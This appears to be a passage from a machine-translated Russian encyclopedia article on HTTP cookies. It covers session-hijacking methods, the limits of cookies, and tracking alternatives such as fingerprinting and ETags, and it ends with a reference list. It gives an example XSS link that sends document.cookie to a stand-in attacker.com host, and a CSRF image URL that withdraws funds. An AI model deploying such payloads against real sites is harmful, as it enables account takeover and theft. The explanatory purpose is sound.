Большинство веб-сайтов используют файлы cookie как единственные идентификаторы для пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут имитировать запросы пользователей, украв полный набор файлов cookie жертв. С точки зрения веб-сервера, запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.

Здесь перечислены различные сценарии кражи файлов cookie и перехвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, использующими только файлы cookie HTTP для идентификации пользователя.

Подслушивание сети

Файл cookie может быть украден другим компьютером, которому разрешено чтение из сети.

Трафик в сети может быть перехвачен и прочитан другими компьютерами в сети, кроме отправителя и получателя (особенно через незашифрованный открыто Вай фай ). Этот трафик включает файлы cookie, отправленные в обычном незашифрованном виде. HTTP-сессии. Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров с целью атака "человек посередине".

Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.

Эта проблема может быть решена путем обеспечения безопасности связи между компьютером пользователя и сервером с помощью Безопасность транспортного уровня (HTTPS протокол), чтобы зашифровать соединение. Сервер может указать Безопасный при установке cookie, что заставит браузер отправлять cookie только по зашифрованному каналу, например по TLS-соединению.[42]

Публикация ложного поддомена: отравление кеша DNS

Если злоумышленник может вызвать DNS сервер для кеширования сфабрикованной записи DNS (называемой Отравление кеша DNS ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кэша DNS для создания поддельной записи DNS f12345.www.example.com это указывает на айпи адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего собственного сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, читающие сообщение злоумышленника, загрузят это изображение из f12345.www.example.com. С f12345.www.example.com является субдоменом www.example.com, браузеры жертв отправят все example.comсвязанные с сервером злоумышленника файлы cookie.

Если злоумышленник может это сделать, обычно виноват Интернет-провайдеры за ненадлежащую защиту своих DNS-серверов. Однако серьезность этой атаки может быть уменьшена, если целевой веб-сайт использует безопасные файлы cookie. В этом случае у злоумышленника будет дополнительная проблема.[72] получения TLS-сертификата целевого веб-сайта от центр сертификации, поскольку безопасные файлы cookie могут передаваться только через зашифрованное соединение. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.

Межсайтовый скриптинг: кража файлов cookie

Основная статья: Межсайтовый скриптинг

Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник использует веб-сайт, который позволяет своим пользователям публиковать нефильтрованные HTML и JavaScript содержание. Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправить файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.

Например, злоумышленник может опубликовать сообщение на www.example.com по следующей ссылке:

<а href="#" по щелчку="window.location = 'http://attacker.com/stole.cgi?text=' + escape (document.cookie); return false;">Кликните сюда!</а>
Межсайтовый скриптинг: файл cookie, которым должны обмениваться только сервер и клиент, отправляется другой стороне.

Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода в по щелчку атрибут, заменяя таким образом строку document.cookie со списком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется в attacker.com сервер. Если вредоносная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.com, защищенные файлы cookie также будут отправлены на сайт attacker.com в виде обычного текста.

Разработчики веб-сайта обязаны отфильтровывать такой вредоносный код.

Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и поэтому злоумышленник не сможет собрать эти файлы cookie.

Межсайтовый скриптинг: запрос прокси

В более старых версиях многих браузеров были дыры в безопасности при реализации XMLHttpRequest API. Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и этот прокси-сервер не подлежит политика одного происхождения. Например, жертва читает сообщение злоумышленника на www.example.com, и скрипт злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос на www.example.com с прокси-сервером attacker.com. Поскольку запрос предназначен для www.example.com, все example.com Файлы cookie будут отправляться вместе с запросом, но маршрутизироваться через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.

Эта атака не будет работать с безопасными файлами cookie, поскольку они могут передаваться только через HTTPS соединений, а протокол HTTPS диктует сквозное шифрование (т.е. информация зашифровывается в браузере пользователя и расшифровывается на целевом сервере). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.

Подделка межсайтовых запросов

Основная статья: Подделка межсайтовых запросов

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например,

 src ="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Если банк Боба хранит его аутентификационную информацию в файле cookie, и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена ​​форма вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.

Cookiejacking

Cookiejacking это форма взлома, при которой злоумышленник может получить доступ к сеансовые куки из Internet Explorer Пользователь.[73] Обнаружил Розарио Валотта, Интернет исследователь безопасности, эксплойт позволяет злоумышленнику получить cookie с любого сайта и, таким образом, имя пользователя и пароль обманом заставляя пользователя перетаскивать объект по экрану.[73] Хотя Microsoft сочла недостаток маловероятным из-за «необходимого уровня взаимодействия с пользователем»,[73] и необходимость того, чтобы пользователь уже вошел на веб-сайт, чей файл cookie был украден,[74] Валотта умел использовать социальная инженерия Атака с целью получения за три дня файлов cookie 80 пользователей Facebook из 150 его друзей.[73]

Недостатки файлов cookie

Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на безопасность, и они часто противоречат передаче репрезентативного состояния (ОТДЫХ ) архитектурный стиль программного обеспечения.[75][76]

Неточная идентификация

Если на компьютере используется более одного браузера, каждый обычно имеет отдельную область для хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie.

Точно так же файлы cookie не делают различий между несколькими пользователями, которые используют один и тот же учетная запись пользователя, компьютер и браузер.

Несогласованное состояние на клиенте и сервере

Использование файлов cookie может вызвать несоответствие между состоянием клиента и состоянием, сохраненным в файле cookie. Если пользователь получает файл cookie, а затем нажимает кнопку «Назад» в браузере, состояние браузера обычно не такое, как до этого приобретения. Например, если корзина покупок в интернет-магазине построена с использованием файлов cookie, содержимое корзины может не измениться, когда пользователь вернется в историю браузера: если пользователь нажимает кнопку, чтобы добавить товар в корзину, и затем нажимает кнопку «Назад», товар остается в корзине. Возможно, это не было намерением пользователя, который, возможно, хотел отменить добавление элемента. Это может привести к ненадежности, путанице и ошибкам. Поэтому веб-разработчики должны знать об этой проблеме и принимать меры для разрешения таких ситуаций.

Альтернативы куки

Некоторые операции, которые можно выполнять с помощью файлов cookie, можно также выполнять с помощью других механизмов.

Веб-токены JSON

А Веб-токен JSON (JWT) - это автономный пакет информации, который может использоваться для хранения информации об идентичности и аутентичности пользователя. Это позволяет использовать их вместо файлов cookie сеанса. В отличие от файлов cookie, которые автоматически прикрепляются браузером к каждому HTTP-запросу, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложением.

HTTP-аутентификация

Протокол HTTP включает в себя базовая аутентификация доступа и дайджест-проверка подлинности доступа протоколы, которые разрешают доступ к веб-странице только тогда, когда пользователь предоставил правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и, после получения, браузер сохраняет и отправляет их в каждом последующем запросе страницы. Эта информация может использоваться для отслеживания пользователя.

айпи адрес

Некоторых пользователей можно отслеживать на основе айпи адрес компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или доверенное лицо, если таковой используется) и теоретически может связать сеанс пользователя с этим IP-адресом.

Однако IP-адреса обычно не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, такие как офисные или домашние ПК, находятся за преобразователем сетевых адресов (NAT). Это означает, что несколько компьютеров будут иметь общий IP-адрес. Кроме того, некоторые системы, такие как Тор, предназначены для сохранения Анонимность в Интернете, делая отслеживание по IP-адресу непрактичным, невозможным или представляющим угрозу безопасности.

URL (строка запроса)

Более точный метод основан на встраивании информации в URL-адреса. В Строка запроса часть URL - это часть, которая обычно используется для этой цели, но могут использоваться и другие части. В Сервлет Java и PHP оба механизма сеанса используют этот метод, если файлы cookie не включены.

Этот метод состоит из того, что веб-сервер добавляет строки запроса, содержащие уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.

Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые отличия. Поскольку строка запроса является частью URL-адреса, при повторном использовании этого URL-адреса на сервер будет отправлена ​​та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю с помощью электронное письмо, эти настройки будут использоваться и для этого другого пользователя.

Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что одна и та же строка запроса будет использоваться каждый раз. Например, если пользователь заходит на страницу, перейдя со страницы внутри сайта первый раз, а затем посещает ту же страницу, перейдя из внешний поисковый движок во второй раз строки запроса, вероятно, будут другими. Если бы в этой ситуации использовались файлы cookie, они были бы такими же.

Другие недостатки строк запроса связаны с безопасностью. Сохранение данных, идентифицирующих сеанс, в строке запроса позволяет фиксация сеанса атаки референт журнальные атаки и другие уязвимости безопасности. Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.

Скрытые поля формы

Еще одна форма отслеживания сеанса - использовать веб-формы со скрытыми полями. Этот метод очень похож на использование строк запроса URL для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с HTTP GET, то этот метод аналогичен использованию строк запроса URL, поскольку метод GET добавляет поля формы к URL-адресу в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, в результате чего информация формы, включая скрытые поля, отправляется в теле HTTP-запроса, которое не является частью URL-адреса или файла cookie.

Такой подход дает два преимущества с точки зрения трекера. Во-первых, наличие отслеживающей информации, размещенной в теле HTTP-запроса, а не в URL-адресе, означает, что средний пользователь не заметит ее. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).

"window.name" свойство DOM

Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) через JavaScript с использованием ДОМ свойство window.name. Эти данные могут использоваться вместо файлов cookie сеанса, а также являются междоменными. Техника может сочетаться с JSON / Объекты JavaScript для хранения сложных наборов переменных сеанса[77] на стороне клиента.

Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет пустой window.name свойство при открытии. Кроме того, это свойство можно использовать для отслеживания посетителей на разных веб-сайтах, что вызывает беспокойство Конфиденциальность в Интернете.

В некоторых отношениях это может быть более безопасно, чем файлы cookie, поскольку их содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для атак с использованием сетевых файлов cookie. Однако, если не принять специальных мер для защиты данных, они уязвимы для других атак, поскольку данные доступны на разных веб-сайтах, открытых в одном окне или на одной вкладке.

Идентификатор для рекламодателей

Apple использует метод отслеживания, который называется «идентификатор для рекламодателей» (IDFA). Этот метод присваивает уникальный идентификатор каждому пользователю, который покупает устройство Apple iOS (например, iPhone или iPad). Затем этот идентификатор используется рекламной сетью Apple, iAd, для определения рекламы, которую люди просматривают и на которые отвечают.[78]

ETag

Основная статья: HTTP ETag § Отслеживание с помощью ETags

Поскольку ETag кэшируются браузером и возвращаются с последующими запросами для того же ресурса, сервер отслеживания может просто повторять любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется бесконечно (аналогично постоянным файлам cookie). Дополнительные заголовки кэширования также могут улучшить сохранность данных ETag.

В некоторых браузерах теги ETag можно сбросить, очистив кеш браузера.

веб-хранилище

Основная статья: веб-хранилище

Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для дальнейшего использования.

В HTML5 стандарт (который в некоторой степени поддерживают большинство современных веб-браузеров) включает JavaScript API, называемый веб-хранилище что позволяет использовать два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянные куки в то время как хранилище сеансов ведет себя аналогично сеансовые куки, за исключением того, что хранилище сеанса привязано к времени жизни отдельной вкладки / окна (также известного как сеанс страницы), а не ко всему сеансу браузера, как файлы cookie сеанса.[79]

Internet Explorer поддерживает постоянную информацию[80] в истории браузера, в избранном браузере, в хранилище XML («данные пользователя») или непосредственно на веб-странице, сохраненной на диске.

Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет Локальный общий объект и Microsoft Silverlight Имеет изолированное хранилище.[81]

Кеш браузера

Основная статья: Веб-кеш

Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей.Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кэше, вместо того, чтобы загружать их с веб-сайта, когда он определяет, что в кеше уже есть самая последняя версия ресурса.

Например, веб-сайт может обслуживать файл JavaScript с кодом, который устанавливает уникальный идентификатор для пользователя (например, var userId = 3243242;). После первого посещения пользователя каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не с сервера. Таким образом, его содержание никогда не изменится.

Отпечаток браузера

Основная статья: Отпечаток устройства

А отпечаток браузера - это информация, собираемая о конфигурации браузера, например номер версии, разрешение экрана и операционная система, с целью идентификации. Отпечатки пальцев можно использовать для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.

Базовый веб-браузер информация о конфигурации уже давно собрана веб-аналитика услуги в попытке точно измерить реальные человеческие веб-трафик и скидки на различные формы мошенничество с кликами. С помощью клиентские сценарии языков, возможен сбор гораздо более эзотерических параметров.[82][83] Ассимиляция такой информации в одну строку составляет отпечаток устройства. В 2010, EFF измерено не менее 18,1 бит энтропия возможно по отпечатку пальца браузера.[84] Снятие отпечатков пальцев на холсте, более поздний метод, утверждает, что добавляет еще 5,7 бит.

Смотрите также

Рекомендации

  1. ^ Вамози, Роберт (2008-04-14). "Файл cookie Gmail украден с помощью таблиц Google". News.cnet.com. В архиве из оригинала 9 декабря 2013 г.. Получено 19 октября 2017.
  2. ^ «А как насчет« Директивы ЕС о файлах cookie »?». WebCookies.org. 2013. В архиве из оригинала 11 октября 2017 г.. Получено 19 октября 2017.
  3. ^ «Новые сетевые правила, которые заставят куки рассыпаться». BBC. 2011-03-08. В архиве из оригинала на 2018-08-10. Получено 2018-06-21.
  4. ^ "Сенатор Рокфеллер: Будьте готовы к законопроекту о запрете отслеживания интернет-рекламы". Adage.com. 2011-05-06. В архиве из оригинала 2011-08-24. Получено 2011-06-02.
  5. ^ Хотите использовать мой Wi-Fi? В архиве 2018-01-04 в Wayback Machine, Jann Horn, дата обращения 5 января 2018 г.
  6. ^ "Откуда приходят cookie: DominoPower". dominopower.com. В архиве из оригинала 19 октября 2017 г.. Получено 19 октября 2017.
  7. ^ Раймонд, Эрик (ред.). "волшебное печенье". Файл жаргона (версия 4.4.7). В архиве из оригинала 6 сентября 2017 г.. Получено 8 сентября 2017.CS1 maint: дополнительный текст: список авторов (связь)
  8. ^ Шварц, Джон (2001-09-04). «Предоставление Интернету памяти стоит его пользователям конфиденциальности». Нью-Йорк Таймс. В архиве из оригинала от 26.08.2011. Получено 2017-02-19.
  9. ^ а б Кесан, Джей; и Шах, Раджив; Разбор кода В архиве 2007-02-07 на Wayback Machine, SSRN.com, глава II.B (файлы cookie Netscape), Yale Journal of Law and Technology, 6, 277–389
  10. ^ а б Кристол, Дэвид; Файлы cookie HTTP: стандарты, конфиденциальность и политика, ACM Transactions on Internet Technology, 1 (2), 151–198, 2001. Дои:10.1145/502152.502153 (расширенная версия находится в свободном доступе на [https://web.archive.org/web/20140716051321/http://arxiv.org/abs/cs.SE/0105018 В архиве 2014-07-16 в Wayback Machine arXiv: cs / 0105018v1 [cs.SE]])
  11. ^ «Пресс-релиз: Netscape Communications предлагает новый сетевой навигатор бесплатно в Интернете». Архивировано из оригинал на 2006-12-07. Получено 2010-05-22.
  12. ^ "Сообщение Usenet от Марка Андреессена: Вот он, мир!". 1994-10-13. В архиве из оригинала 2011-04-27. Получено 2010-05-22.
  13. ^ Кристол, Дэвид М. (ноябрь 2001 г.). «HTTP-файлы cookie». ACM-транзакции по интернет-технологиям. 1 (2): 151–198. Дои:10.1145/502152.502153. ISSN  1533-5399.
  14. ^ Хардмайер, Санди (2005-08-25). «История Internet Explorer». Microsoft. В архиве с оригинала от 01.10.2005. Получено 2009-01-04.
  15. ^ Джексон, Т. (1996-02-12). «Эта ошибка на вашем компьютере - интеллектуальный файл cookie». Financial Times.
  16. ^ «Настройка файлов cookie». Staff.washington.edu. 19 июня 2009 г. В архиве из оригинала 16 марта 2017 г.. Получено 15 марта, 2017.
  17. ^ В документации edbrowse версии 3.5 сказано: «Обратите внимание, что поддерживаются только файлы cookie в стиле Netscape. Однако это наиболее распространенный вид файлов cookie. Он, вероятно, удовлетворит ваши потребности». Этот абзац был удален в более поздние версии документации В архиве 2017-03-16 в Wayback Machine дальше к RFC 2965 устарел.
  18. ^ Ходжес, Джефф; Корри, Бил (6 марта 2011 г.). "'Механизм управления состоянием HTTP в соответствии с предлагаемым стандартом ». Практика безопасности. В архиве из оригинала 7 августа 2016 г.. Получено 17 июн 2016.
  19. ^ Служба поддержки Microsoft Описание постоянных и сеансовых файлов cookie в Internet Explorer В архиве 2011-09-25 на Wayback Machine Идентификатор статьи 223799, 2007
  20. ^ «Поддержание состояния сеанса с помощью файлов cookie». Сеть разработчиков Microsoft. В архиве из оригинала 14 октября 2012 г.. Получено 22 октября 2012.
  21. ^ "'Атрибут cookie SameSite, статус платформы Chrome ". Chromestatus.com. В архиве из оригинала на 2016-05-09. Получено 2016-04-23.
  22. ^ Goodwin, M .; Запад. «Файлы cookie того же сайта draft-ietf-httpbis-cookie-same-site-00». tools.ietf.org. В архиве из оригинала от 16.08.2016. Получено 2016-07-28.
  23. ^ https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/
  24. ^ https://www.lambdatest.com/SameSite-cookie-attribute
  25. ^ https://blog.chromium.org/2020/02/samesite-cookie-changes-in-feb February.html
  26. ^ https://blog.chromium.org/2020/04/tempoporary-rolling-back-samesite.html
  27. ^ «Сторонние домены». WebCookies.org. В архиве из оригинала от 09.12.2014. Получено 2014-12-07.
  28. ^ «Количество файлов cookie». WebCookies.org. В архиве из оригинала от 09.12.2014. Получено 2014-12-07.
  29. ^ Проталински, Эмиль (19 мая 2020 г.). «Chrome 83 поставляется с измененными настройками безопасности, сторонние файлы cookie заблокированы в режиме инкогнито». VentureBeat. VentureBeat. Получено 25 июн 2020.
  30. ^ Статт, Ник (24 марта 2020 г.). «Apple обновляет технологию защиты от отслеживания Safari, добавив полную блокировку сторонних файлов cookie». Грани. Получено 2020-07-24.
  31. ^ «Firefox по умолчанию начинает блокировать сторонние файлы cookie». VentureBeat. 2019-06-04. Получено 2020-07-24.
  32. ^ Храбрый (06.02.2020). «Окей, Google, не откладывайте реальную конфиденциальность браузера до 2022 года». Браузер Brave. Получено 2020-07-24.
  33. ^ Вторник, Сара Слуис //; 14 января; Ам, 2020-11: 00 (2020-01-14). "Google Chrome откажется от сторонних файлов cookie через 2 года". AdExchanger. Получено 2020-07-24.CS1 maint: числовые имена: список авторов (связь)
  34. ^ «Подробнее о списке общедоступных суффиксов». Publicsuffix.org. В архиве из оригинала 14 мая 2016 г.. Получено 28 июля 2016.
  35. ^ Майер, Джонатан (19 августа 2011 г.). «Отслеживание трекеров: реклама Microsoft». Центр Интернета и общества. В архиве из оригинала 26 сентября 2011 г.. Получено 28 сентября 2011.
  36. ^ Виджаян, Джайкумар. «Microsoft отключает« супер-файлы cookie », используемые посетителями MSN.com». В архиве из оригинала 27 ноября 2014 г.. Получено 23 ноября 2014.
  37. ^ Тигас, Джулия Ангвин, Майк. «Зомби-куки: отслеживающие куки-файлы, которых нельзя убить». ProPublica. Получено 2020-11-01.
  38. ^ 11 июня, Конрад Штольце |; Образование | 0, 2011 | (11.06.2011). "Печенье, которое не рассыпается!". Журнал 24x7. Получено 2020-11-01.CS1 maint: числовые имена: список авторов (связь)
  39. ^ Пэн, Вэйхун; Цисна, Дженнифер (2000). «Файлы cookie HTTP, многообещающая технология». Proquest. Обзор онлайн-информации. ProQuest  194487945. Отсутствует или пусто | url = (помощь)
  40. ^ Джим Манико цитирует Даниэля Стенберга: Ограничения на длину файлов cookie в реальном мире В архиве 2013-07-02 в Wayback Machine
  41. ^ Рэйни, Ли (2012). Сеть: новая социальная операционная система. п. 237
  42. ^ а б IETF HTTP State Management Mechanism, апрель 2011 г. Устаревшие RFC 2965
  43. ^ «Постоянные HTTP-файлы cookie состояния клиента: предварительная спецификация». Netscape. c. 1999. Архивировано с оригинал на 2007-08-05.
  44. ^ «Свойство cookie». MSDN. Microsoft. В архиве из оригинала от 05.04.2008. Получено 2009-01-04.
  45. ^ Шеннон, Росс (26 февраля 2007 г.). «Файлы cookie, установка и получение информации о ваших читателях». HTMLSource. В архиве из оригинала от 26.08.2011. Получено 2009-01-04.
  46. ^ «Механизм управления состоянием HTTP, атрибут пути». IETF. Март 2014 г. В архиве из оригинала 2011-05-01. Получено 2011-05-12.
  47. ^ «RFC 6265, механизм управления состоянием HTTP, соответствие домена». IETF. Март 2014 г. В архиве из оригинала 2011-05-01. Получено 2011-05-12.
  48. ^ «RFC 6265, механизм управления состоянием HTTP, атрибут домена». IETF. Март 2014 г. В архиве из оригинала 2011-05-01. Получено 2011-05-12.
  49. ^ "Внутренние компоненты файлов cookie Internet Explorer (FAQ)". 21 ноября 2018.
  50. ^ «RFC 2109, механизм управления состоянием HTTP, синтаксис Set-Cookie». IETF. Март 2014 г. В архиве из оригинала от 13.03.2014. Получено 2014-03-04.
  51. ^ «RFC 6265, механизм управления состоянием HTTP». ietf.org. В архиве из оригинала 2011-05-01. Получено 2011-05-12.
  52. ^ «Совместимость спецификации файлов cookie в современных браузерах». inikulin.github.io. 2016. В архиве из оригинала от 02.10.2016. Получено 2016-09-30.
  53. ^ Коулз, Питер. «HTTP-файлы cookie: в чем разница между Max-age и Expires? - Питер Коулз». Mrcoles.com. В архиве из оригинала от 29 июля 2016 г.. Получено 28 июля 2016.
  54. ^ «Отчет Symantec Internet Security Threat Report: тенденции за июль – декабрь 2007 г. (краткое содержание)» (PDF). XIII. Symantec Corp. Апрель 2008 г .: 1–3. В архиве (PDF) с оригинала 25 июня 2008 г.. Получено 11 мая, 2008. Цитировать журнал требует | журнал = (помощь)
  55. ^ Уэлен, Дэвид (8 июня 2002 г.). "Часто задаваемые вопросы о неофициальных файлах cookie, версия 2.6". Cookie Central. В архиве с оригинала 26 августа 2011 г.. Получено 2009-01-04.
  56. ^ «Сторонние файлы cookie, хранилище DOM и конфиденциальность». grack.com: блог Мэтта Мастраччи. 6 января 2010 г. В архиве с оригинала 24 ноября 2010 г.. Получено 2010-09-20.
  57. ^ «Как управлять файлами cookie в Internet Explorer 6». Microsoft. 18 декабря 2007 г. В архиве с оригинала 28 декабря 2008 г.. Получено 2009-01-04.
  58. ^ «Очистка личных данных». База знаний поддержки Firefox. Mozilla. 16 сентября 2008 г. В архиве из оригинала от 3 января 2009 г.. Получено 2009-01-04.
  59. ^ «Очистить личную информацию: очистить данные просмотра». Справка Google Chrome. В архиве из оригинала от 11.03.2009. Получено 2009-01-04.
  60. ^ «Очистить личную информацию: удалить файлы cookie». Справка Google Chrome. В архиве из оригинала от 11.03.2009. Получено 2009-01-04.
  61. ^ «Совместимость сайта для Firefox 22», Сеть разработчиков Mozilla, 2013-04-11, в архиве из оригинала 27.05.2013, получено 2013-04-11
  62. ^ Миядзаки, Энтони Д. (2008), «Конфиденциальность в Интернете и раскрытие информации об использовании файлов cookie: влияние на доверие потребителей и ожидаемое покровительство», Журнал государственной политики и маркетинга, 23 (весна), 19–33
  63. ^ "ЦРУ поймали крадущиеся куки". CBS Новости. 2002-03-20. В архиве из оригинала от 26.08.2011. Получено 2006-01-02.
  64. ^ «Шпионское агентство удаляет незаконные файлы отслеживания». Нью-Йорк Таймс. 2005-12-29. В архиве из оригинала от 26.08.2011. Получено 2017-02-19.
  65. ^ «Директива ЕС о файлах cookie, Директива 2009/136 / EC». Правовая информация JISC. В архиве из оригинала 18 декабря 2012 г.. Получено 31 октября 2012.
  66. ^ а б c Правила конфиденциальности и электронных коммуникаций. Офис уполномоченного по информации. 2012. Архивировано с оригинал на 2012-10-30. Получено 2012-10-31.
  67. ^ «Директива 95/46 / EC Европейского парламента и Совета от 24 октября 1995 г. о защите физических лиц в отношении обработки персональных данных и о свободном перемещении таких данных». Официальный журнал (L): 0031–0050. 1995-11-23. В архиве из оригинала 27 сентября 2012 г.. Получено 31 октября 2012.
  68. ^ «Новый закон ЕС о файлах cookie (Директива об электронной конфиденциальности)». Архивировано из оригинал 24 февраля 2011 г.. Получено 31 октября 2012.
  69. ^ «Закон ЕС о файлах cookie: хватит ныть и продолжай». Проводная Великобритания. 2012-05-24. В архиве из оригинала 15 ноября 2012 г.. Получено 31 октября 2012.
  70. ^ а б "Лазейка, достаточно большая, чтобы в нее поместилось печенье". Биты. Нью-Йорк Таймс. 2010-09-17. В архиве из оригинала 26 января 2013 г.. Получено 31 января 2013.
  71. ^ Пегораро, Роб (17 июля 2005 г.). «Как заблокировать отслеживающие файлы cookie». Вашингтон Пост. п. F07. В архиве из оригинала 27 апреля 2011 г.. Получено 2009-01-04.
  72. ^ Проводной Взлом получил 9 поддельных сертификатов для известных сайтов В архиве 2014-03-26 в Wayback Machine
  73. ^ а б c d Финкль, Джим (25 мая 2011 г.). "Последняя угроза безопасности Microsoft: 'Cookiejacking'". Рейтер. В архиве с оригинала 30 мая 2011 г.. Получено 26 мая 2011.
  74. ^ Уитни, Лэнс (26 мая 2011 г.). "Исследователь безопасности обнаружил риск" взлома cookie "в IE". CNET. Архивировано из оригинал 14 июня 2011 г.. Получено 6 сен 2019.
  75. ^ Филдинг, Рой (2000). "Филдинг Диссертация: ГЛАВА 6: Опыт и оценка". В архиве из оригинала 2011-04-27. Получено 2010-10-14.
  76. ^ Тилков, Стефан (2 июля 2008 г.). "Антипаттерны REST". InfoQ. В архиве с оригинала 23 декабря 2008 г.. Получено 2009-01-04.
  77. ^ "ThomasFrank.se". ThomasFrank.se. В архиве из оригинала от 15.05.2010. Получено 2010-05-22.
  78. ^ «Файл cookie мертв. Вот как Facebook, Google и Apple отслеживают вас сейчас, VentureBeat, Mobile, Ричард Бирн Рейли». VentureBeat. 2014-10-06. В архиве из оригинала на 24.07.2017. Получено 2017-08-31.
  79. ^ "Window.sessionStorage, веб-API | MDN". developer.mozilla.org. В архиве из оригинала 28 сентября 2015 г.. Получено 2 октября 2015.
  80. ^ «Введение в настойчивость». microsoft.com. Microsoft. В архиве из оригинала от 11.01.2015. Получено 2014-10-09.
  81. ^ «Изолированное хранилище». Microsoft.com. В архиве из оригинала 16.12.2014. Получено 2014-10-09.
  82. ^ "BrowserSpy". gemal.dk. В архиве из оригинала от 26.09.2008. Получено 2010-01-28.
  83. ^ Поведение "IE" по умолчанию [sic] "тесты раскрытия информации браузера: clientCaps". Mypage.direct.ca. В архиве из оригинала 2011-06-05. Получено 2010-01-28.
  84. ^ Экерсли, Питер (17 мая 2010 г.). "Насколько уникален ваш веб-браузер?" (PDF). eff.org. Фонд электронных рубежей. Архивировано из оригинал (PDF) 15 октября 2014 г.. Получено 23 июля 2014.

Статья основана на материалах, взятых из Бесплатный онлайн-словарь по вычислительной технике до 1 ноября 2008 г. и зарегистрированы в соответствии с условиями «перелицензирования» GFDL, версия 1.3 или новее.

Источники

  • Аноним, 2011. Атака Cookiejacking ворует учетные данные для доступа к веб-сайту. Informationweek - Online, стр. Informationweek - Online, 26 мая 2011 г.

внешняя ссылка